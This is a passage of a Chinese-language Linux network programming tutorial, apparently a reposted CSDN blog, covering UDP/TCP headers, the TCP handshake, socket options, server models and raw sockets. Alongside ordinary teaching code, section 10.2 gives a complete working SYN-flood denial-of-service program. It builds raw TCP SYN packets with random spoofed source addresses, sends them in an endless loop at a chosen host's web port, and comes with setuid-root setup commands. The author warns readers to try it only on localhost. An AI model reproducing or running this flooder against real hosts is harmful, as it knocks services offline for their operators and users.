UDP協議是建立在IP協議基礎之上的,用在傳輸層的協議.UDP和IP協議一樣是不可靠的數據報服務.UDP的頭格式爲:


0                      16                      32
---------------------------------------------------
|       UDP源端口       |       UDP目的端口     |
---------------------------------------------------
|       UDP數據報長度   |       UDP數據報校驗   |
---------------------------------------------------

UDP結構在中的定義爲:
struct udphdr {
  u_int16_t     source;
  u_int16_t     dest;
  u_int16_t     len;
  u_int16_t     check;
};

關於UDP協議的詳細情況,請參考 RFC768
7.5 TCP
TCP協議也是建立在IP協議之上的,不過TCP協議是可靠的.按照順序發送的.TCP的數據結構比前面的結構都要複雜.

0       4       8  10           16              24              32
-------------------------------------------------------------------
|               源端口          |               目的端口        |
-------------------------------------------------------------------
|                               序列號                          |
------------------------------------------------------------------
|                               確認號                          |
------------------------------------------------------------------
|        |            |U|A|P|S|F|                               |
|首部長度| 保留       |R|C|S|Y|I|       窗口                    |
|        |            |G|K|H|N|N|                               |
-----------------------------------------------------------------
|               校驗和          |               緊急指針        |
-----------------------------------------------------------------
|                       選項                    |    填充字節   |
-----------------------------------------------------------------

TCP的結構在中定義爲:
struct tcphdr
  {
    u_int16_t source;
    u_int16_t dest;
    u_int32_t seq;
    u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
    u_int16_t res1:4;
    u_int16_t doff:4;
    u_int16_t fin:1;
    u_int16_t syn:1;
    u_int16_t rst:1;
    u_int16_t psh:1;
    u_int16_t ack:1;
    u_int16_t urg:1;
    u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
    u_int16_t doff:4;
    u_int16_t res1:4;
    u_int16_t res2:2;
    u_int16_t urg:1;
    u_int16_t ack:1;
    u_int16_t psh:1;
    u_int16_t rst:1;
    u_int16_t syn:1;
    u_int16_t fin:1;
#endif
    u_int16_t window;
    u_int16_t check;
    u_int16_t urg_prt;
};     

source發送TCP數據的源端口
dest接受TCP數據的目的端口

seq標識該TCP所包含的數據字節的開始序列號

ack_seq確認序列號,表示接受方下一次接受的數據序列號.

doff數據首部長度.和IP協議一樣,以4字節爲單位.一般的時候爲5

urg如果設置緊急數據指針,則該位爲1

ack如果確認號正確,那麼爲1

psh如果設置爲1,那麼接收方收到數據後,立即交給上一層程序

rst爲1的時候,表示請求重新連接

syn爲1的時候,表示請求建立連接

fin爲1的時候,表示親戚關閉連接

window窗口,告訴接收者可以接收的大小

check對TCP數據進行較核

urg_ptr如果urg=1,那麼指出緊急數據對於歷史數據開始的序列號的偏移值

關於TCP協議的詳細情況,請查看 RFC793


7.6 TCP連接的建立
TCP協議是一種可靠的連接,爲了保證連接的可靠性,TCP的連接要分爲幾個步驟.我們把這個連接過程稱爲"三次握手".

下面我們從一個實例來分析建立連接的過程.

第一步客戶機向服務器發送一個TCP數據包,表示請求建立連接. 爲此,客戶端將數據包的SYN位設置爲1,
並且設置序列號seq=1000(我們假設爲1000).

第二步服務器收到了數據包,並從SYN位爲1知道這是一個建立請求的連接.於是服務器也向客戶端發送一個TCP數據包.
因爲是響應客戶機的請求, 於是服務器設置ACK爲1,sak_seq=1001(1000+1)同時設置自己的序列號.seq=2000(我們假設爲2000).

第三步客戶機收到了服務器的TCP,並從ACK爲1和ack_seq=1001知道是從服務器來的確認信息.於是客戶機也向服務器發送確認信息.
客戶機設置ACK=1,和ack_seq=2001,seq=1001,發送給服務器.至此客戶端完成連接.

最後一步服務器受到確認信息,也完成連接.

通過上面幾個步驟,一個TCP連接就建立了.當然在建立過程中可能出現錯誤,不過TCP協議可以保證自己去處理錯誤的.


說一說其中的一種錯誤.
  聽說過DOS嗎?(可不是操作系統啊).今年春節的時候,美國的五大網站一起受到攻擊.攻擊者用的就是DOS(拒絕式服務)方式.
  概括的說一下原理.客戶機先進行第一個步驟.服務器收到後,進行第二個步驟.按照正常的TCP連接,客戶機應該進行第三個步驟.
  不過攻擊者實際上並不進行第三個步驟.因爲客戶端在進行第一個步驟的時候,修改了自己的IP地址,就是說將一個實際上不存在的
  IP填充在自己IP 數據包的發送者的IP一欄.這樣因爲服務器發的IP地址沒有人接收,所以服務端會收不到第三個步驟的確認信號,
  這樣服務務端會在那邊一直等待,直到超時.這樣當有大量的客戶發出請求後,服務端會有大量等待,直到所有的資源被用光,
  而不能再接收客戶機的請求.這樣當正常的用戶向服務器發出請求時,由於沒有了資源而不能成功.
  於是就出現了春節時所出現的情況.


(八)Linux網絡編程--8. 套接字選項

有時候我們要控制套接字的行爲(如修改緩衝區的大小),這個時候我們就要控制套接字的選項了.


8.1 getsockopt和setsockopt

int getsockopt(int sockfd,int level,int optname,void *optval,socklen_t *optlen)
int setsockopt(int sockfd,int level,int optname,const void *optval,socklen_t *optlen)

level指定控制套接字的層次.可以取三種值:
        1)SOL_SOCKET:通用套接字選項.
        2)IPPROTO_IP:IP選項.
        3)IPPROTO_TCP:TCP選項.
optname指定控制的方式(選項的名稱),我們下面詳細解釋

optval獲得或者是設置套接字選項.根據選項名稱的數據類型進行轉換


選項名稱                說明                                    數據類型
========================================================================
                        SOL_SOCKET
------------------------------------------------------------------------
SO_BROADCAST            允許發送廣播數據                        int
SO_DEBUG                允許調試                                int
SO_DONTROUTE            不查找路由                              int
SO_ERROR                獲得套接字錯誤                          int
SO_KEEPALIVE            保持連接                                int
SO_LINGER               延遲關閉連接                            struct linger
SO_OOBINLINE            帶外數據放入正常數據流                  int
SO_RCVBUF               接收緩衝區大小                          int
SO_SNDBUF               發送緩衝區大小                          int
SO_RCVLOWAT             接收緩衝區下限                          int
SO_SNDLOWAT             發送緩衝區下限                          int
SO_RCVTIMEO             接收超時                                struct timeval
SO_SNDTIMEO             發送超時                                struct timeval
SO_REUSERADDR           允許重用本地地址和端口                  int
SO_TYPE                 獲得套接字類型                          int
SO_BSDCOMPAT            與BSD系統兼容                           int
==========================================================================
                        IPPROTO_IP
--------------------------------------------------------------------------
IP_HDRINCL              在數據包中包含IP首部                    int
IP_OPTINOS              IP首部選項                              int
IP_TOS                  服務類型
IP_TTL                  生存時間                                int
==========================================================================
                        IPPRO_TCP
--------------------------------------------------------------------------
TCP_MAXSEG              TCP最大數據段的大小                     int
TCP_NODELAY             不使用Nagle算法                         int
=========================================================================

關於這些選項的詳細情況請查看 Linux Programmer's Manual

8.2 ioctl
ioctl可以控制所有的文件描述符的情況,這裏介紹一下控制套接字的選項.

int ioctl(int fd,int req,...)

==========================================================================
                        ioctl的控制選項
--------------------------------------------------------------------------
SIOCATMARK              是否到達帶外標記                        int
FIOASYNC                異步輸入/輸出標誌                       int
FIONREAD                緩衝區可讀的字節數                      int
==========================================================================

詳細的選項請用 man ioctl_list 查看.


(九)Linux網絡編程--9. 服務器模型

學習過《軟件工程》吧.軟件工程可是每一個程序員"必修"的課程啊.如果你沒有學習過, 建議你去看一看. 在這一章裏面,
我們一起來從軟件工程的角度學習網絡編程的思想.在我們寫程序之前, 我們都應該從軟件工程的角度規劃好我們的軟件,
這樣我們開發軟件的效率纔會高. 在網絡程序裏面,一般的來說都是許多客戶機對應一個服務器.爲了處理客戶機的請求,
對服務端的程序就提出了特殊的要求.我們學習一下目前最常用的服務器模型.

<一>循環服務器:循環服務器在同一個時刻只可以響應一個客戶端的請求

<二>併發服務器:併發服務器在同一個時刻可以響應多個客戶端的請求


9.1 循環服務器:UDP服務器
        UDP循環服務器的實現非常簡單:UDP服務器每次從套接字上讀取一個客戶端的請求,處理, 然後將結果返回給客戶機.
可以用下面的算法來實現.

   socket(...);
   bind(...);
   while(1)
    {
         recvfrom(...);
         process(...);
         sendto(...);
   }
因爲UDP是非面向連接的,沒有一個客戶端可以老是佔住服務端. 只要處理過程不是死循環, 服務器對於每一個客戶機的請求總是能夠滿足.

9.2 循環服務器:TCP服務器
TCP循環服務器的實現也不難:TCP服務器接受一個客戶端的連接,然後處理,完成了這個客戶的所有請求後,斷開連接.

算法如下:
        socket(...);
        bind(...);
        listen(...);
        while(1)
        {
                accept(...);
                while(1)
                {
                        read(...);
                        process(...);
                        write(...);
                }
                close(...);
        }

TCP循環服務器一次只能處理一個客戶端的請求.只有在這個客戶的所有請求都滿足後, 服務器纔可以繼續後面的請求.
這樣如果有一個客戶端佔住服務器不放時,其它的客戶機都不能工作了.因此,TCP服務器一般很少用循環服務器模型的.

9.3 併發服務器:TCP服務器
        爲了彌補循環TCP服務器的缺陷,人們又想出了併發服務器的模型. 併發服務器的思想是每一個客戶機的請求並不由服務器
直接處理,而是服務器創建一個 子進程來處理.

算法如下:

  socket(...);
  bind(...);
  listen(...);
  while(1)
  {
        accept(...);
        if(fork(..)==0)
          {
              while(1)
               {       
                read(...);
                process(...);
                write(...);
               }
           close(...);
           exit(...);
          }
        close(...);
  }    

TCP併發服務器可以解決TCP循環服務器客戶機獨佔服務器的情況. 不過也同時帶來了一個不小的問題.爲了響應客戶機的請求,
服務器要創建子進程來處理. 而創建子進程是一種非常消耗資源的操作.

9.4 併發服務器:多路複用I/O
爲了解決創建子進程帶來的系統資源消耗,人們又想出了多路複用I/O模型.
首先介紹一個函數select

int select(int nfds,fd_set *readfds,fd_set *writefds,
                fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)

一般的來說當我們在向文件讀寫時,進程有可能在讀寫出阻塞,直到一定的條件滿足. 比如我們從一個套接字讀數據時,可能緩衝區裏面沒有數據可讀 (通信的對方還沒有 發送數據過來),這個時候我們的讀調用就會等待(阻塞)直到有數據可讀.如果我們不 希望阻塞,我們的一個選擇是用select系統調用. 只要我們設置好select的各個參數,那麼當文件可以讀寫的時候select回"通知"我們 說可以讀寫了. readfds所有要讀的文件文件描述符的集合
writefds所有要的寫文件文件描述符的集合

exceptfds其他的服要向我們通知的文件描述符

timeout超時設置.

nfds所有我們監控的文件描述符中最大的那一個加1

在我們調用select時進程會一直阻塞直到以下的一種情況發生. 1)有文件可以讀.2)有文件可以寫.3)超時所設置的時間到.

爲了設置文件描述符我們要使用幾個宏. FD_SET將fd加入到fdset

FD_CLR將fd從fdset裏面清除

FD_ZERO從fdset中清除所有的文件描述符

FD_ISSET判斷fd是否在fdset集合中

使用select的一個例子

int use_select(int *readfd,int n)
{
   fd_set my_readfd;
   int maxfd;
   int i;
  
   maxfd=readfd[0];
   for(i=1;i
    if(readfd[i]>maxfd) maxfd=readfd[i];
   while(1)
   {
        /*   將所有的文件描述符加入   */
        FD_ZERO(&my_readfd);
        for(i=0;i
            FD_SET(readfd[i],*my_readfd);
        /*     進程阻塞                 */
        select(maxfd+1,& my_readfd,NULL,NULL,NULL);
        /*        有東西可以讀了       */
        for(i=0;i
          if(FD_ISSET(readfd[i],&my_readfd))
              {
                  /* 原來是我可以讀了  */
                        we_read(readfd[i]);
              }
   }
}

使用select後我們的服務器程序就變成了.


        初始話(socket,bind,listen);
       
    while(1)
        {
        設置監聽讀寫文件描述符(FD_*);  
       
        調用select;
       
        如果是傾聽套接字就緒,說明一個新的連接請求建立
             {
                建立連接(accept);
                加入到監聽文件描述符中去;
             }
       否則說明是一個已經連接過的描述符
                {
                    進行操作(read或者write);
                 }
                       
        }              

多路複用I/O可以解決資源限制的問題.這模型實際上是將UDP循環模型用在了TCP上面. 這也就帶來了一些問題.
如由於服務器依次處理客戶的請求,所以可能會導致有的客戶 會等待很久.

9.5 併發服務器:UDP服務器
人們把併發的概念用於UDP就得到了併發UDP服務器模型. 併發UDP服務器模型其實是簡單的.和併發的TCP服務器模型一樣是創建
一個子進程來處理的 算法和併發的TCP模型一樣.
除非服務器在處理客戶端的請求所用的時間比較長以外,人們實際上很少用這種模型.


9.6 一個併發TCP服務器實例

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

#define MY_PORT         8888

int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in     client_addr;
int n;

if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
  {
        printf("Socket Error:%s\n\a",strerror(errno));
        exit(1);
  }

bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服務器終止後,服務器可以第二次快速啓動而不用等待一段時間  */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
  {
        printf("Bind Error:%s\n\a",strerror(errno));
        exit(1);
  }
  listen(listen_fd,5);
  while(1)
  {
   accept_fd=accept(listen_fd,NULL,NULL);
   if((accept_fd<0)&&(errno==EINTR))
          continue;
   else if(accept_fd<0)
    {
        printf("Accept Error:%s\n\a",strerror(errno));
        continue;
    }
  if((n=fork())==0)
   {
        /* 子進程處理客戶端的連接 */
        char buffer[1024];

        close(listen_fd);
        n=read(accept_fd,buffer,1024);
        write(accept_fd,buffer,n);
        close(accept_fd);
        exit(0);
   }
   else if(n<0)
        printf("Fork Error:%s\n\a",strerror(errno));
   close(accept_fd);
  }
}

你可以用我們前面寫客戶端程序來調試着程序,或者是用來telnet調試


(十)Linux網絡編程--10. 原始套接字

 我們在前面已經學習過了網絡程序的兩種套接字(SOCK_STREAM,SOCK_DRAGM).在這一章 裏面我們一起來學習另外
一種套接字--原始套接字(SOCK_RAW). 應用原始套接字,我們可以編寫出由TCP和UDP套接字不能夠實現的功能.
注意原始套接字只能夠由有 root權限的人創建.

10.1 原始套接字的創建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以創建一個原始套接字.根據協議的類型不同我們可以創建不同類型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
詳細的情況查看 socket的man手冊 下面我們以一個實例來說明原始套接字的創建和使用

10.2 一個原始套接字的實例
還記得DOS是什麼意思嗎?在這裏我們就一起來編寫一個實現DOS的小程序. 下面是程序的源代碼

/********************  DOS.c               *****************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

#define DESTPORT        80       /* 要攻擊的端口(WEB)      */
#define LOCALPORT       8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
        exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP創建一個TCP的原始套接字    ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
        exit(1);
}
/********  設置IP數據包格式,告訴系統內核模塊IP數據包由我們自己來填寫  ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****  沒有辦法,只用超級護用戶纔可以使用原始套接字    *********/
setuid(getpid());

/*********  發送炸彈了!!!!          ****/
send_tcp(sockfd,&addr);
}

 

/*******  發送炸彈的實現   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];  /**** 用來放置我們的數據包  ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我們的數據包實際上沒有任何內容,所以長度就是兩個結構的長度  ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/********  填充IP數據包的頭部,還記得IP的頭格式嗎?     ******/
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP數據包的頭部長度  **/
ip->ip_tos=0;                   /** 服務類型            **/
ip->ip_len=htons(head_len);     /** IP數據包的長度      **/
ip->ip_id=0;                    /** 讓系統去填寫吧      **/
ip->ip_off=0;                   /** 和上面一樣,省點時間 **/       
ip->ip_ttl=MAXTTL;              /** 最長的時間   255    **/
ip->ip_p=IPPROTO_TCP;           /** 我們要發的是 TCP包  **/
ip->ip_sum=0;                   /** 校驗和讓系統去做    **/
ip->ip_dst=addr->sin_addr;      /** 我們攻擊的對象      **/

/*******  開始填寫TCP數據包                           *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;           /** 目的端口    **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;                        /** 我要建立連接 **/
tcp->check=0;


/** 好了,一切都準備好了.服務器,你準備好了沒有?? ^_^  **/
while(1)
  {
/**  你不知道我是從那裏來的,慢慢的去等吧!      **/
    ip->ip_src.s_addr=random();    

/** 什麼都讓系統做了,也沒有多大的意思,還是讓我們自己來校驗頭部吧 */
/**            下面這條可有可無    */
    tcp->check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr));
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}

/* 下面是首部校驗和的算法,偷了別人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
  short answer=0;

while(nleft>1)
{
  sum+=*w++;
  nleft-=2;
}
if(nleft==1)
{
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
}
 
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

編譯一下,拿localhost做一下實驗,看看有什麼結果.(千萬不要試別人的啊). 爲了讓普通用戶可以運行這個程序,
我們應該將這個程序的所有者變爲root,且 設置setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS


10.3 總結
原始套接字和一般的套接字不同的是以前許多由系統做的事情,現在要由我們自己來做了. 不過這裏面是不是有很多的樂趣呢.
當我們創建了一個 TCP套接字的時候,我們只是負責把我們要發送的內容(buffer)傳遞給了系統. 系統在收到我們的數據後,
回自動的調用相應的模塊給數據加上TCP 頭部,然後加上IP頭部. 再發送出去.而現在是我們自己創建各個的頭部,系統只是把它們
發送出去. 在上面的實例中,由於我們要修改我們的源IP地址, 所以我們使用了setsockopt函數,如果我們只是修改TCP數據,
那麼IP數據一樣也可以由系統來創建的.


11. 後記
  總算完成了網絡編程這個教程.算起來我差不多寫了一個星期,原來以爲寫這個應該是一件 不難的事,做起來才知道原來有很多的地方
都比我想象的要難.我還把很多的東西都省略掉了 不過寫完了這篇教程以後,我好象對網絡的認識又增加了一步.
  如果我們只是編寫一般的 網絡程序還是比較容易的,但是如果我們想寫出比較好的網絡程序我們還有着遙遠的路要走.
  網絡程序一般的來說都是多進程加上多線程的.爲了處理好他們內部的關係,我們還要學習 進程之間的通信.在網絡程序裏面有着許
  許多多的突發事件,爲此我們還要去學習更高級的 事件處理知識.現在的信息越來越多了,爲了處理好這些信息,我們還要去學習數據庫.
  如果要編寫出有用的黑客軟件,我們還要去熟悉各種網絡協議.總之我們要學的東西還很多很多.
  看一看外國的軟件水平,看一看印度的軟件水平,寶島臺灣的水平,再看一看我們自己的 軟件水平大家就會知道了什麼叫做差距.
  我們現在用的軟件有幾個是我們中國人自己編寫的.  不過大家不要害怕,不用擔心.只要我們還是清醒的,還能夠認清我們和別人的
  差距, 我們就還有希望. 畢竟我們現在還年輕.只要我們努力,認真的去學習,我們一定能夠學好的.我們就可以追上別人直到超過別人!

相信一點:

            別人可以做到的我們一樣可以做到,而且可以比別人做的更好!

   勇敢的年輕人,爲了我們偉大祖國的軟件產業,爲了祖國的未來,努力的去奮鬥吧!祖國會記住你們的!

 

本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/jenshy/archive/2006/04/18/667944.aspx

   
   
   
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